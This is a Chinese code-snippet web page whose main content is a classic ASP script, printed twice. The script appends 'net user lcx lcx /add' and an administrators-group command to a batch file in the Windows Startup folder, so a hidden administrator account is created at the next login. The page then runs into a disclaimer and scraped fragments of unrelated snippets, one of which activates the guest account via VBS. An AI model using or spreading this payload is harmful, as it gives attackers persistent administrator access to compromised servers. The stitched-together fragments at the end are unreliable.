时间:2021-05-25
<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.Close
set lcx=nothing
%>
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
复制代码代码如下:'codeBY伤脑筋www.ntbak.cnwww.jb51.net'copytofilename.vbsdimnum,var,fso,wsh
出于安全考虑,Firefox等浏览器不支持写本地文件。IE下可以通过以下几种方式写xml文件方式一:fso复制代码代码如下://LoadXML()见上一篇IE下
方式1_使用properties文件:application.properties:application-dev.properties:application
先建立一个VBS文件内容如下:dimwshsetwsh=CreateObject("WScript.Shell")wsh.run"netuserguest/ac
复制代码代码如下:optionexplicitdimfpath,fso,logfile,fwritefpath=inputbox("输入目标文件夹","文件处理